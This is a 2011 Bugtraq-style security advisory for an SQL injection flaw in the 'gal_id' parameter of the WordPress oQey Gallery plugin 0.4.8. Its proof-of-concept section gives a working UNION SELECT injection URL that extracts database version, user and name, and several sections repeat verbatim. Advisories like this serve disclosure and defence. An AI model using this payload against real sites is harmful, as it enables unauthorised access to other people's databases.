WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
BID:49451
Info
WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 49451 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 05 2011 12:00AM |
| Updated: | Sep 05 2011 12:00AM |
| Credit: | Miroslav Stampar |
| Vulnerable: |
WordPress oQey Gallery plugin 0.4.8 |
| Not Vulnerable: | |
Discussion
WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
The oQey Gallery plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
oQey Gallery 0.4.8 is vulnerable; other versions may also be affected.
The oQey Gallery plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
oQey Gallery 0.4.8 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
The following example URI is available:
http://www.example.com/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23
The following example URI is available:
http://www.example.com/wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23
Solution / Fix
WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress oQey Gallery Plugin 'gal_id' Parameter SQL Injection Vulnerability
References:
References:
- oQey Gallery plugin Homepage (WordPress)
- WordPress Homepage (WordPress)